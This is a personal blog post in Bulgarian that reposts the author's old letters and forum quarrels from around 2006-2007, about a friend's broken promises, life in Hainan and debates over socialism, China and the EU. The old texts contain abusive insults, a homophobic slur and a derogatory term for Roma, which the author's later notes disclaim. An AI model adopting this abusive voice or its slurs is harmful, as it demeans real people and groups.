PRAVI6 NA TOLKOVA UMEN!
Q VIJ KAKVA GEI6TINA SI MI NAPISAL:
"> .az sum dore-za stranata ni-rabotq zabez pari-buhtq
> se ot sutrin do ve4er za nqma i trista leva"
AMI TO I JENA MI ZA TOLKOVA, AMA TUKA S TEZI PARI
MOJE6 DA SE IZLEJAVA6 POD PALMITE DA SE KEFI6 NA
KA4ESTVENI JENI (pone v sravnenie s boklutsite okolo
koito ti se vyrti6!), DA PIE6 I QDE6 KOKOSI, ANANASI i
desetki drugi hrani i morski delikatesi, deto ne si
synuval! DA, AMA QVNO E PO-DOBRE DA SI KISNE6 V
MAHALATA PRI MANGALITE I NARKOSITE, DA SI IZKLYU4VA6
TELEFONA, I HORATA DA SE 4UDQT KYDE SI.
-Svetoslav
-Baba mi
-Ba6ta mi (daje se e svyrzal 2 pyti s Ratsov!)
-AZ (nqkolko pyti ot Kitay) te tyrsim kato absolyutni
putyovtsi, daje karah i edin injener ot Sf da zvuni,
ama neeeeeeeeeeeeeeeeeeeeeee, Pavli4no go razdava
geiskata i se krie, pritesnqvayki horata, otkolkoto da
se obadi kato myj ili pone da otgovori na edin ot nad
5-te e-maila, koito sym si gubil vremeto da mu pi6a!
Daje seriozno si mislehme, 4e si ili bolen ili sa te
hvanali na tqsno kukite (to s tvoq na4in na jivot,
koito mi opisva6, ni6to 4udno!)
"-nqmam
> jelane da pravq kakvoto i da e na tozi etap"
Daaaaaaaaaa, taka si e. LI4I TI! NE ZNAM 6TO LI NE
SYM IZNENADAN?
a/ Za6toto vypreki preduprejdeniqta mi zabi v selska
Italiq i ti go slojiha rezonno v gyza s 4erniq pe4at?
b/ Za6toto si gubih vremeto kato kreten da ti davam
tolkova mnogo nasoki za angliyskiq i za skytavaneto na
pari prez tezi nad 3 godini?
c/ Za6toto si tolkova skapan, 4e o6te se nadqva6 na
EU-to, makar, 4e vidq kak samo se preebava rabotata
sled vlizaneto vytre? Ili kakvo? 6te mi kaje6, 4e
makroikonomi4eski ste tsufnali, mikroikonomi4eski ste
zavyrzali, a prestypnostta e likvidirana? ABE, TYP4O
NENAGLEDEN, VMESTO DA PRIKAZVA6 PUTKINSKITE SI REPLIKI
ZA MENE PO KUPONITE, NADQVAIKI SE, 4E NQMA OT TSELI 2
MESTA DA MI KAJAT KAKVI SI GI DROBIL ZA MENE, DA BE6E
PRO4EL MALKO POVE4E ON-LINE PRESA DA znae6 kak vseki
den maloletni duhat po u4ili6tata i ka4vat klip4eta v
Neta, kak se strelqt po ulitsite i kak koruptsiyata
syvsem tsyfna...ama ne, po-gotino e da si izhar4im
parite za gluposti, da se natrqskame do kozirkata na
kuponite i da govorim protiv "kitaetsa" na kuponite,
4e da se pravim na gotini pred rayonnite jenski
boklutsi! 5 stotinki ne struva6, da znae6!
V momenta se kolebaq koy e po-zle ot tebe i o6te
edin poznat, ama za nego o6te nqmam okon4atena
pretsenka! Taka, 4e moje i da si ti.
"-ne
> priemai li4no fakta 4e ne moga da ti pi6a
> redovno"
Oooooo, ooooooooo, oooooooo, ne se pritesnqvay!
Razbiram te! Ne samo ne moje6 da pi6e6, no i ne moje6
da vdigne6 telefona, ne moje6 da skatae6 3 zaplati za
3 godini i ne moje6 da si zatvarq6 6ibanata usta pred
horata! Mnogo raboti ne moje6!!! NO VELIKOLEPNO MOJE6
DA NAKARA6 NQKOY DA TI VQRVA 3 GODINI, 4E 6TE SE
VIDITE! PO LYJITE SI MAYSTOR!
"-prosto mi e
> zle
> ot fakta 4e ne moje da se vidim :( spored
> purvona4alnite mi planove..."
NALI ? Q! KAKVO SYVPADENIE! I AZ TAKA! AMA IMA EDNA
MNOOOOOOOOGO DREBNA RAZLIKA, 4E PO PRINTSIP DO PREDI
DA SE IZLIGAVI6 PO TOZI NEOPRAVDANO PEDERASTKI NA4IN,
AZ ZA TEBE SAMO SUPERLATIVI PRIKAZVAH I SE GORDEEH,
ZATVARQYKI SI O4ITE ZA KLYUKITE TI PO MOY ADRES I
HVALEYKI TE SAMO ZA HUBAVITE NE6TA, KOITO SI PRAVIL ZA
MENE!
I, makar i da me e qd na tebe, da ti dam edin
myni4yk urok po "svalki" na jeni, poneje az, makar i
da ne blestq s nqkakva velika viziq, sym imal do sega
nad 60 jeni! Ey sega da padna i da umra, ako te lyja!
Razbira se, ti moje6, zlorado da mi poso4i6, 4e
edinstvenata, koqto ISTINSKI sym iskal nad 5 godini v
BG (Na Svetoslav sestra mu) ne sym uspql daje da q
tseluna! Da, opredeleno 6te si prav za tova, no, taka
ili ina4e tozi NEUSPEH ne moje da se meri sys SERIQTA
PROVALI pri tebe na jenskoto popri6te, koito
kompensira6e s izmisleni istoriyki, za koito tvoi
priqteli kazvaha: "Abe nogo filmi gleda tova mom4e, to
zatova taka, ne, 4e iska da ni hvyrlq na vyrbata!"
Ta syvet4e:
MNOGO PO-DOBRO VPE4ATLENIE 6TE NAPRAVI6 NA VSQKO EDNO
MOMI4E (daje i da e poslednata nadrogantena sko4obra
ot va6ite kuponi!) KATO Y GOVORI6 KAKVI DOBRI POZNATI
IMA6 I KAKVO GRADIVNO STE NAPRAVILI, OTKOLKOTO DA SE
PRAVI6 NA INTERESEN S NEDODQLANI PRIKAZKI PO ADRES NA
DRUGITE!
Eto, primerno, az spe4elih uvajenieto na edno
prekrasno moi4e, kato y razkazvah kak si mi pomagal v
nqkoi kriti4ni situatsii - hem smislen, razovor, hem
interesen, hem sym pokazal, 4e dyrja na nqkakvi
tsennosti. V PROTIVEN SLU4AI - misli6 li, 4e 6te6e
mnogo da mi se trogne, ako bqh vzel da prikazvam kakyv
si lo6? Ta i ti, vmesto da govori6 kolko e zle
"kitaetsa", pove4e govori polojitelni ne6ta i taka
DAJE V BG 6te moje6 da si nameri6 4ovek, koyto ne samo
da obi4a6, no i da te obi4a!
"u4astvam v rzs-na yani
> yanev kato ne6taten sutrudnik"
LOL!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!
:D:D:D:D:D:D:D:D:D:D:D:D:D:D
SLADUR!!! ABE, TI DAJE IMETO MU NE ZNAE6 DA NAPI6E6
(4ovekyt se kazva "YanE", a ne "YanI"), KAKYV
SYTRUDNIK, KAKVI 5 LEVA?! OH, MY GOD!
"-vervam 4e ima 4estni
> polititsi v durjavata ni kvo da ti kaja>>"
LOL na kvadrat!!!!!!! :D
AMI MOJE DA MI KAJE6 NE6TO, DAAAAA!!!! A TO E : KATO
KAK SE VRYZVA U4ASTIETO NA ... ... V TAZI
PARTIYA S VQRATA TI V 4ESTNOSTTA? ILI TI NE ZNAE6 DAJE
KOY E TOY??
"radost v
> jivota mii nema"
NEMA I DA IMA! ZA6TOTO SI GLUPAK!
"zatui gledam da pravq horata koito
> go zaslujavat 6tastlivi"
MENE NE USPQ, AMA AZ SIGURNO 6TOT S NI6TO NE SYM
ZASLUJIL :(((((
"-hodq po jeni-vsekakvi"
DA! TO TOVA TI OSTAVA SAMO! A AZ TUKA DA BERA SRAM
PRED NQKOLKOTO MOMI4ETA, DETO ZNAEHA, 4E 6TE GI
ZAPOZNAVAM S TEBE! DAJE I VESTO TEBE TRQBVA6E DA IM
PI6A MAILI I DA SI GUBQ VREMETO! Q VYRVI NA MAYNATA
SI!!! NQMA6 NIKAKVO 4UVSTVO ZA OTGOVORNOST!
"- ne
> probiram-zalagam na koli4estvoto..."
KATO TE PRASNE NQKOQ BOLEST 6TE ZALOJI6 NA
KOLI4ESTVOTO LEKARSTVA, ama - karay, sigurno pak si
fantazira6...
"vervam o6te v
> dobroto-dano da pobedim:)"
KAKVO DA POBEDI6? PREDATELSTVOTO U SEBE SI LI? AMI
USPEH - STISKAM PALTSI!!!
------------------
Пояснения - 1) Редактирах името на един политик, защото по онова време ми бяха говорили, че не е честен, но по-късно се научих да държа много на "казано, но и доказано", не само на "казано", та го премахнах, защото не трябва да се пише, че някой е безчестен, ако нямаш доказателства.
2) Въпросните "мангали" - става дума не, че обижда по този начин всички роми (отдавна съм против всякакви шовинизми, антициганизми и анти-който и да е народ!), а точно едни, които го бяха окрали няколко пъти, както и ограбили веднъж + пребили го заедно с дядо му + били веднъж и баща му. За такива престъпници нямам добри думи. Не знам дали въобще са получили наказания.
В същия град съм срещал няколко пъти и добри цигани, та нищо не бива да се слага под общ знаменател.
3) Човекът не постъпи никак добре, както съм описал по-горе - злепостави ме пред много хора, изгуби ми време да подготвям неща и да го подготвям...
4) "Педерастки" и пр. са писани в манталитетния, критичния (разговорен) език, без никакъв хомофобски аспект и мисъл за хомофобия. Казвал съм и преди - не съм хомофоб, не съм и хомофил. За хетеросексуалните отношения съм, но не дискриминирам и не се меся на хомосексуалните, ако и те не ми се месят.
-
Ето и копие от имейл от (около?) 2006-та година:
" Eto pismoto otnovo:
Zdrasti!
Premestihme se na ostrov Hainan. Tova e nay-yujnata provintsiya na Kitay.Golyamo e kolkoto 1/3 ot Bulgaria - ima 2 golemi grada, ostanaloto sa grad4eta i seltsa. Ima okolo 8 000 000 jiteli. Nie sme v stolitsata na provintsiyata-ostrov, kazva se Haikou. Do tuk pytuvahme ot predniya ni grad sys spalen avtobus. Tova e reys, v koyto ima malki legla i dokato pytuvash gledash televiziya ili spi6. Pytuvahme okolo 14 4asa.
Sled tova stignahme do okeana i ni prehvyrliha s oshte 10 reysa, ot drugi mesta+ nqkolko kamiona i leki koli na edin gramaden korab. Vytre byahme na 3-ya etaj, a kolite i ostanalite prevozni sredstva - na pyrvia.Ob6to byaha 4 etaja.
Az byah edinstveniya byal 4ovek na koraba, ama si nosya tyubeteyka, ve4e imam 3- ednata ot Bulgaria, drugata si ya kupih v Dalian, a tretata mi ya podariha gostite ni ot Tatarstan tazi esen.
Ta poneje si byah s tyubeteykata nqkolkoto myusyulmanki, deto pytuvaha na koraba me misleha za "tehen 4ovek" i me pozdravyavaha sys "Selyam aleykum" :)
Korabyt pytuva 4as i polovina do ostrova - Hainan i posle sleznahme, izakahme da izleze avtobusa i putuvahe do tsentralnata avtogara okolo 4as i ne6to.Ottam trygnahme da zvynim na predvaritelno napisanite ot Interneta adresi na apartameni pod naem i sled okolo 5 4asa razkarvane namerihme edin pohodq6t.
Sega jiveem tuk - na 3-ya etaj sme, ima asansyor.Obzaveden e s hubav televizor, boyler4e na gaz, gazova pe4ka, tsvetya, masi4ki, 6kaf4e, dyrveno kanape, stol, byuro, garderob4e. Ima 2 stai - 55 kvadrata.
Imame lokalen Internet za 10 leva na mesets. Naemyt e po-nisyk, otkolkoto v predi6niya grad - 180 leva na mesets. Kato za tropik i stolitsa ne e skypo. Samo peralnya nyama, ama ne mi e golyam kahyr.
Po-natatyk moje da mu napravq film4e s kamerkata, da se znae.
Namirame se na edin ot glavnie bulevardi, v hotel, koyto e polovinata razprodaden na 4astni hora, polovinata e na firma. Na 8 etaja.
Tazi ve4er se razhojdahme i kupihme edin ot mestnite spetsiliteto - zelen, golyam kokosov oreh, ta pihme sys slamki kokosovo mlyako.Struva 60 stotinki, na nqkoi mesta ima i po 50 st.
Malkite kokosovi orehi, deto gi imashe v Billa-ta v Pleven sa po 40-50 stotinki. Te sa i po-hubavi na vkus. Ta tazi ve4er kupihme oreha za 60 st., edna koka-kola za 60 st. 2 zaharni trystiki za po 20 st. par4eto. Yadohme poslednoto sirentse ot Pleven i taka.Na obqd kupihme kokosovi sladki i solenki, na koraba sutrinta qdohme spageti, 4ips i suhari.
Nelito ya nau4ih da pyrji kartofki i da pravi salati.Otdelno, tq sama se nau4i da pravi SUSHI- onezi "RIBITSI" ot Lybia, deto koreytsite gi noseha- toy ba6ta mi se se6ta koe. Ot kitayskite mandji gotvi:
- fasul s kartofi
- patladvani s 4esyn v sos.
- spageti sys zelen4utsi
- oriz s grah i tsarevitsa.
...
Поясняния - вече няма такива евтини неща в Китай (освен, ако не е някое по-селско място), а във въпросния хотел, където бяхме под наем в закупен частен апартамент, накрая си измислиха, че пердетата имали мухъл (който е голям проблем в субтропично-тропични области като тази с големи температурни амплитуди) и трябвал да им ги платим. Аз бях против, защото даже не искаха да ни ги дадат (бях готов да си ги имам, да си ги изпера)но тогавашната партньорка реши да сме платели, че да няма разправия и губене на време, а после щяла да ми даде половината пари. По-сетне тя се оказа много ненормална (ставало е дума и преди - доказано луда с малки епилептични припадъци, демонофобия и разни налудни идеи, че имала духове в тялото си), та избяга и завлече тези пари (както и други, около 4000 юана общо бях изчисявал), та си останах без тези пари. Мошеници много из Китай. Е, има си и много добри, честни хора. Не слагам всички под общ знаменател. Не съм синофоб.
По-натам е кирилизирано:
-фасул с картофи
-патладжани с чесън в сос
-ориз с грах и царевица
-спагети със зеленчуци
-яйца по китайски
и още няколко. На мен най-много ми харесва как готви прясна соя. Много е вкусно. Не купуваме почти никакво месо. И двамата не обичаме. Аз ям само, ако сме на ресторант. Там любимото ми месо е говеждо с ананас. много хубав вкус има. А и най-много ми харесват корейските ресторанти - правят страшно хубави чорби - ама като едно-времешния таратор- слагат вода, ледчета, 2-3 вида оцет и соев сос, прясно зеле, мерудийка, фиде и най-интересното - прченца прясна круша. Хубави идеи за готвене имат корейците! (Става дума за т. нар. ненг-мьон (냉면, в който може да има и парченце прясна ябълка, а има и без плодове, само с едно или половин варено яйце. Всеки си има рецепта.))
Последно да кажа за града - развит е, има много небостъргачи, улици с поняколко платна, автобани на няколко етажа, магазини. Цените са средни, като видят, че си чужденец удрят в кантара, ама аз често минавам за чист татарин с тези тюбетейки, т. е. за момче от Западен Китай дето живеят татари и други подобни, та минавам по нормалните цени. А в официалните магазини - като супермаркет, мол, всичко е с фиксирани цени, та не те удрят в кантара. Разбира се, сред продавачите навън също има честни хора. Но, обикновено, си го имаше и го има този проблем - като видят, че си чужденец да те мислят за богат и/или тъп, и да гледат да изцедят повече пари от теб. На много места е така, не е специфичен и уникален китайски проблем само.
Засега това е от мен.
"
Общо взето такова беше положението. Обаче, напоследък, след императоризирането (реимператоризирането) на Китай, каквото е всъщност това "безкрайно" властване на днешния "президент" и засилената феодализация (рефеодализация), както и засилващ се изолационизъм, ксенофобизиране и пр., не е добре да се ориентираме много-много към такива държави (подобни са Русия, Белорусия, Северна Корея, Иран, Турция, Венецуела и др.)
Разбира се, всеки си има вкус - има си хора, на които пък може да им харесва да живеят в такива неоимперии, неоцарства, където владетелят има пълна власт и не го интересува колко народ страда, умира, губи препитание... Не им се меся - нека всеки си прави свободните избори и да има плурализъм.
:)
-
Финално. Най-после ще успея да завърша тези спомени.
"Я МИ ДАЙ НЯКОЛКО ПРИМЕРА, ЗА ДА ВИДЯ КАК. И ИСКАМ ДА ВИДЯ КАК ТОВА СЕ ИЗМЕСТВА ОТ \"ПАЗАРНИЯ СОЦИАЛИЗЪМ\", който НЕ Е \"СТАЛИНИЗЪМ\", както ги бъркаш, понякога."
"-"ПАЗАРНИЯ СОЦИАЛИЗЪМ" е клон от еволюционният етап на човешкото развитие, наречен КАПИТАЛИЗЪМ."
И каква е ЕВЛЮЦИЯТА, на бате фаталистчето?
Както видяхме, няма никакви "необходимости" в развитието на човешката политика. Видяхме, че дори и вървейки първоначално по социалистически път държави могат да се върнат към капитализма или, още по-лошо, към феодализма (неофеодализъм, ремонархизация), както се случва с не една и две в днешно време.
"Политическата идеология Социализъм също."
АХА! И от тва следва, че трябва да бъркаш :
ЕВОЛЮЦИЯ с РЕВОЛЮЦИЯ и КАПИТАЛИЗЪМ със СОЦИАЛИЗЪМ ли?
А може ли да ми кажеш как като капитализмът еволюирал от феодализма не е феодализъм тогава?
"-Tи смяташ политическата идеология "комунизъм" за следващият обществен строй?"
Не, не говорихме за Монголия, батковото! Нали отричаше, че:
а/ Не била минавала от феодализъм към социализъм?
б/ Твърдеше, че сега е социалистическа?
КАК СЕ ВРЪЗВА МОНГОЛИЯ В "ЕВОЛЮЦИОННИЯ" ти фатализъм? След като някой ден проумееш това, започвам да те изпитвам за Филипините! Фатализмът ти е обречен!
" Историята не е философия, Гошко!"
Абе и с двете не си в час, тъмна Индия са ти и направо да го кажем - ТЕРРА ИНКОГНИТА!
"Тя е реална, има свои фактори, които я движат, а тези фактори са създадени от действията на човешката психология"
Тези фактори не са осъзнати от твоята психология, Ванго.
", от втори фаткоти, които и действат пък на нея."
Ами то му се вика ОБРАТНА ВРЪЗКА, ама няма кой да чете, бе, Ванго!
"А философията действа на болни мозъци като тебе"
Мммммне, един от малкото болни мозъци тук е този на селяндура Ванго. а философията действа на хора като:
- Аристотел
- Кант
- Хегел
- Ясперс
А ТЕ, НЕ СА БОЛНИ МОЗЪЦИ, Ванго Селски! (Вече поясних, че по-късно си оправихме отношенията и дори се сприятелихме с Ванго за дълъг период, но по-сетне изгубихме връзка. А за селандурщината - казано е без да препраща към реалните селяни, сред които си има и образовани хора. Знайно е, че съм против всякакви дискриминации, включително по линията село-град-столица, урбанизирани-неурбанизирани и т. н.)
"и тези, дето излъгаха 3 български поколения и избиха толкова хора!"
Ами демократите колко поколения ще излъжат, Ванго? И колко народ ще измре от радиацията от Ирак, Сърбия и Афганистан? А колко народ мре от глад сега и от студ и от циганите? (1. Имал съм предвид обеднения уран. И войници, и цивилни пострадаха от това нещо. Има материали онлайн, който иска да чете. Като пацифист и радетел за здраве много мразя оръжия, особено от този тип! 2. За глада и студа, напоследък май е малко по-добро положението, но има какво да се прави по въпроса с бедността! 3. За циганите - никакъв антициганизъм, шовинизъм и дискриминация! Визирал съм само циганските банди, които вилнеят на някои места, т. е. циганите-престъпници, а не честните цигани, които са метачи, музиканти, певци, учители и др.)
" Философията (идеологиите, които съдържа) също е фактор, които дейстгва върху психологията на човечеството и за съжаление, до сега нищо хубаво не се е получило! "
Ние от селяни и то недоучили не искаме да ни казват неща от този тип, за да ни подвеждат! Я НАУЧИ НАПРИМЕР КАКВО Е ВЪЗДЕЙСВТИЕТО НА ФИЛОСОФИЯТА ЗА РАЗВИТИЕТО НА НАУКАТА! Нещастен псевдоюрист с неграмотно писмо и четмо:) (Понеже е обидил философията, която ми е професия, че досега (дотогава) нищо добро не се е получило, съм отвърнал също по обиден начин, но и със съдържателно и образователно съдържание - да разбере, че философията има и позитивна роля. Пак казвам - за селяните, нямам дискриминационни отношения; някои от най-добрите философи, които съм чел, а и са ми преподавали, също са със селски произход.
По-късно човекът, както съм казвал вече, се пообучи, започна да води добри исторически спорове с други, може и добър юрист да е станал вече. С една дума, видях че се развива интелектуално добре.)
" Лошо е, когато си убеден в утопии, без да мислиш как трябва да се организират за да се създадат и съществуват в бъдещото общество. "
КАТО УТОПИЯТА, ЧЕ В ЕС Е ДОБРЕ, ВЪПРЕКИ ОПИТА НА УНГАРИЯ, ПОЛША И ЧЕХИЯ ЛИ? Прав си, за това много си прав! Така си е! Ама защо сам си се подвел? (Е, по-късно, видяхме, че ЕС може и да е полезен, въпреки някои негативи; преди не бях много оптимист за ЕС, но сега, особено след деградирането на алтернативите (Русия и Китай) до нивото на неофеодални и неоимператорски, направо съм ЕС-фил.)
________________________________________
"1. Китай 1,313,973,713
2. С. Корея 23,113,019
3. Виетнам 84,402,966
4. Лаос 6,368,481
5. Либия 5,900,754
6. Куба 11,382,820
СА СОЦИАЛИСТИЧЕСКИ! НАселението на Евр. Съюз е 456,953,258. Можеш ли да ги събереш и да видиш КОЛКО ПОВЕЧЕ ХОРА В СВЕТА ЖИВЕЯТ В СОЦИАЛИСТИЧЕСКИ СИСИТЕМИ, СПРЯМО ЕС? А ДА ВИДИШ КОЛКО СА СПРЯМО ОБЩОТО НАСЕЛЕНИЕ НА СВЕТА?
Целият свят е 6,525,170,264 души.
(Е, вече почти не остана реален социализъм по света.)
Според мои изчисления населението живеещо в социалистически държави е НАД 3 ПЪТИ ПОВЕЧЕ ОТ ТОВА НА ЕС! Къде ли ще отиде жалият ти европоцентризъм сега?"
Европоцентризмът, както всичко от типа "-центризъм" (например егоцентризъм, етноцентризъм и т. н.) не е нещо обективно, задава граници, прегради, но, разбира се, може да е добро начало за прогрес - например, ако човек започне с европофилия и европеистика, по-сетне може да продължи лека-полека в изучаване и на останалия свят, в дълбочина и широчина.
"-Във всеки случай, живея поне 1000 пъти по-спокойно и добре от един лаозиец"
1. Отново не си добре с българският език, българино. Да си чувал думата "ЛАОЗИЕЦ"? Я ДА НАПРАВИМ ПРОВЕРКА В "ГУГЪЛ"!!!
а/ "ЛАОЗИЕЦ" - 1 резултат (от поста на Ванго!)
б/ "ЛАОСЕЦ" - 364 резултата!
2. Как разбра, че ти е по-спокойно, при положение, че испанците са едни от най-големите бандюги на Европа и са доста по-избухливи от азиатците?!?!?!?! (По онова време нямаше толкова много инфо и статистики онлайн, а и не бяхме чак толкова компютърно грамотни. Сега вече по-лесно може да се види, без да се изказваме "на ангро", че в Испания на някои места има повече престъпления, отколкото на други, но като цяло испанците не са едни от най-злето по бандитизъм в Европа, ето: https://www.numbeo.com/crime/rankings_by_country.jsp?title=2023®ion=150 (https://www.numbeo.com/crime/rankings_by_country.jsp?title=2023®ion=150) - 22-ро място от 42, значи средно ниво. Друго си е с конкретни данни и с повече информация. Ето и една карта, където се виждат разликите в отделните райони на Испания и из цяла Европа: (https://ts1.cn.mm.bing.net/th/id/R-C.e346ca7290c6a1ee597ab764ef44ed4e?rik=yW5RsvR4lVJ0HA&riu=http%3a%2f%2fourworldindata.org%2fwp-content%2fuploads%2f2013%2f03%2feurope-map-of-homicide-rates-subnational-lebel-unodc-png.png&ehk=QWJIvixKZKLbnvrG%2bLYCZLJblX2LI9vqijAuUMVJP58%3d&risl=&pid=ImgRaw&r=0))
3. Какво живееш по-добре?!?!?!?!
Я да проверим Испания и Лаос кое е добрето:
БЕЗРАБОТИЦА:
-ИСПАНИЯ ИМА 100% по-голяма от тази на ЛАОС!
И не забравяй, че Испания се води развита, а Лаос е развиваща се държава!
", един китаец, един либиец, един виетнамец и един кубинец взети заедно"
Тука нагази вече на много дълбоко. с китайския ми стандарт въобще не можеш да се мериш! Ако искаш да сравняваме?
Виж ти сред какви постройки бродиш:
(http://www.spainiac.com/photos/mm/madrid/puertadelsol1-big-03.jpg)
Я ме виж пък мен сред какви:
(http://english.ctrip.com/resources/china/guangzhou/image/intro.jpg)
Я да видим нещо от испанската кухня:
(http://www.euroresidentes.com/imagenes_recetas/paella.jpg)
Ето и нещо от китайската такава:
(http://www.canyi.cn/info/pic/00248989.jpg)
Я да видим испанските жени, бе :)
(http://rds.yahoo.com/S=96062883/K=spanish+girls/v=2/SID=e/l=IVI/;_ylt=A9gnMiZadDdELBAAq8SjzbkF;_ylu=X3oDMTA4NDgyNWN0BHNlYwNwcm9m/SIG=12p91frd0/EXP=1144571354/*-http%3A//homepages.rya-online.net/sacoles/images/4SpanGirlsCascais2.jpg)
Аууу и голи се показват... Европейски морал, разбираш ли...
Ето и скромни китайки:
(http://polusharie.com/index.php?action=dlattach;topic=19937.0;attach=14486;image)
Някои от снимките вече не са налични май онлайн, доколкото виждам. Много време мина все пак от 2006-та досега. :) А колкото до останалите неща - сега нещата са глобализирани - например, ако искаш да ядеш китайска кухне в Испания, едва ли ще ти е проблем. За морала - убедих се, след почти 20 години живеене в Китай, че моралът няма националност - навсякъде си има и по-морални, и по-неморални. За постройките - дълго време живях в заблуда, че ако са добри, това задължително сочи и добър стандарт на живот. За съжаление няма много голяма корелация.
А за жените/мъжете - наистина е било неуместно сравнение. Това е много субективно, субектно и е неправилно да се казва, че някои са по-грозни от други само защото на теб не ти харесват. Говорим за цели големи групи като даден народ или дадена раса, а не за конкретни индивиди, където обикновено има по-малко субективизъм и повече от мненията съвпадат.
Да сравняваме ли достъпът до плодове и зеленчуци от всякакъв вид или безопасността на хората през нощта?
Тези неща също са динамични. Не се знае в днешно време, а и в близко бъдеще къде ще е с по-голям избор и къде ще е по-безопасно. Например, ако продължи това обедняване... не ми се мисли.
", пък и по един от всички тези страни, които си измисли, че са социалистически по-горе, като им събереш месечните залати, едва сте достигнат 70% от моята."
Самохвалко, ама я им събери цените - като ги събереш едва ли ще достигнат 70% от твоите! За тебе май има само заплати, но няма цени, а?
(Това наистина честно се забравя от хората. Наистина, ако заплатите са много високи или много ниски, обикновено и цените са съответни - много високи цени или много ниски цени. Но си има и изключения. Важното е да се мисли винаги поне с оглед на това - освен заплати, има и цени. А ако някой е по-навътре с икономиката, може да помисли и за размера на данъците, лихвените проценти и още.)
"Така, че не ми сравнявай мизерията на тези народи с ЕС. Чакай бе! Забравих! нали Китай чтеше да става нация от милиардери:))по голема глупост не бях чувал!"
Да, глупави халюцинации имаш. Кога ти го казаха ГЛАСОВЕТЕ?
____
"-Чакай бе, та нали беше прескочила цял един еволюционен етап!"
БЕШЕ, АМА ВАНГО НЕ ЗНАЕ. Е, ВЕЧЕ ЗНАЕ!!!
" как така, защо се върна назад в капитализма Монголия, след като тя, заедно с Китай и Русия ни водеха с цял един етап в човешкото развитие!!!!"
АМИ НАЛИ ТОЧНО ТОВА ИСКАМ ДА ТИ ОБЯСНЯ, ЧЕ НЯМА ЗАДЪЛЖИТЕЛНОСТ И ДА СПРЕШ ДА МИ ПРОБУТВАШ ЕВТИН КЛАСИЧЕСКИ ФАТАЛИЗЪМ ОТ МАРКСОВ ТИП!
"-Схвана ти се mozyka, а?"
ПАК ПИШЕШ НА ЛАТИНИЦА! И тоя въпрос ми се иска аз да ти го задам, но срещам известни затруднения заради едно небитие на нещо си...
"за това понякога прекаляваш с изблиците на простотии и нелогизми по форумите."
Аз ли дето знам историята на Монголия или ти дето правиш 2 грешки за нея?
а/ Не знаеше, че вече не е социалистическа.
б/ Не знаеше, че там преди социализма е било феодализъм.
"А и стига си повтарял едни и същи твои въпросчета и да ги използваш за борба срещу моите"
Ами ти трудно схващаш, та се налага да проявявам подходи известни от една педагогика, за едни по-особени хомосапиенси.
"- аз вече ти отговорих отдавна, а ми е писнало да ти ги повтарям и на теб."
Дали? Кога и къде?
"явно неможеш да приемаш факти и за това си се заровил във философията."
А ти си мислиш, че:
а/ боравиш с факти, въпреки че бъркаш толкова много неща и си станал посмешището на форумите!
б/ смяташ, че философията не борави с фактология. Жалко човеченце.
"там поне е по-лесно!"
А КАТО Е ЛЕСНО МИ НАПРАВИ АНАЛИЗ НА КОПУЛАТА!
"Може да се променя всяка фразаи идея, нали е мисъл, нали е несъществуваща материално - същецвува само на хартия..."
Значи обектите на философията са само на хартия?!?!?!?!?!?!?!?!?!?!?!?! ХАХАХАХАХАХАХАХАХА!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!Нова издънка на селянията! Визирам необразоваността и то конкретната му, по онова време. Нищо селскофобско.
"Докато виж, в политиката и историята се служи със точностти и факти."
Ами историята не е ли само на хартия?
"дати и цифри, а не свободни интерпретации като твоите."
Аз да дъм казал свободно, че Маркс е имал няколко фабрики или, че Монголия е социалистическа държава?! (Хайде да не изброявам всичките ти свободни съчинения отново!)
"Историята е точна наука, Гошко! Не я смесвай с философията и литературата!"
АКО МАЛКО ПОВЕЧЕ БЕШЕ ПРОЧЕЛ КОИ НАУКИ СЕ НАРИЧАТ "ТОЧНИ НАУКИ" нямаше да кажеш поредния си бисер!
(http://mms.bitrings.com/dh/pic/big_pic/200508/1123224659_337.gif)
Това е краят. Както казах, по-сетне нещата се оправиха, поизучи се човекът... дано някой път пак се засечем с него, да е жив и здрав, живот и здраве! 8)
-
"За разбирането смисъла на живота важно значение имат още два елемента на разширеното съзнание: избавяне от илюзията, че живеем само в материалния свят и от илюзията, че е възможно да намерим истинския носител на истината, който да следваме. Днес човешкото съзнание е обсебено от масовата илюзия за съществуването само на материалния свят. "
Хубаво, де, ама как се доказва, че това е илюзия? Ами, ако си е живата истина?
И да допълня - в науката методът е, който казва нещо и да го докаже. Само казване, без доказване, не значи нищо. Защото казването е лесно, но доказването прави казването валидно. Всеки може да си прави всякакви "казваници", но си трябват и "доказваници". :)
-
2007...
Големи майтапи от едно време. :D Трябва да е било около 2007-ма година. Добре, че съм ги запазил, че вече гледам ги няма онлайн. Отбелязвам, че защищаването на тогавашен Китай си беше полезно, защото това бе истинска алтернатива - спокойно, сравнително-свободно, с все по-забогатяващо население, прогресивно като цяло, но не и сегашния, където всичко се движи в почти обратна посока.
"И аз споделям същото виждане - че за много неща в изцяло ежедневен (битов) план все още се намират само на 1 мъъъничка крачка от... огнището в центъра на колибата и рогозката за спане в отсрещния ъгъл, също грубо казано.
Защото не носим гащи-прашка и не се гримираме, и не пушим ли? Ну да, изостанали хора сме, что поделаешь? ;)
Естествено, има къде-къде по-назадничави държави и нации, но те НЕ се кичат с помпозното прозвище "развита/развиваща се държава"...
Не не намирам нищо помпозно в "развиваща се държава". Интересно е даже, че сме развиващата се държава, но сме в почти всякие атношения по-напред от "развити държави", членове на ЕС ;)
но в изцяло ежедневен план, по скромните ми наблюдения, дори и ние, българите, отдааавна сме ги разминали (особено след комунизма)...
В гащите-прашка и в "тревата" сред ученици и в порнография след Полунощ не само ни разминали, вие ни смазали костите. Лол!
Естествено, за всяко нещо ще ти намерят най-благовидото обяснение и не ги виждам изобщо да рекат "да, тва ни е кофти черта/навик, ама ще приложим по-добрия образец".
Отново лъже. Ние имаме доста силна самокритика и показваме я публично, дори на български език, но необразовани хора не умеят четат даже свой език. ВЕДНАГА ПРИМЕР ЗА САМОКРИТИКА НА КИТАЙСКА СТРАНА:
china radio internationalСтатистиката показва, че от първия случай на СПИН в Китай през 1985 година насам, в Китай бързо се увеличават заразените от СПИН. ...
bulgarian.cri.cn/1/2004/07/12/1@11413.htm - Допълнителни резултати - Подобни страници
Питам ги защо ядат ей тоя на отвратително горчив зеленчук и ми отговарят без замисляне - "горчивото е полезно за стомаха!".
Вероятно сте опитали КУГУА. Тя наистина е полезна за стомаха. Защо трябва подиграва се???
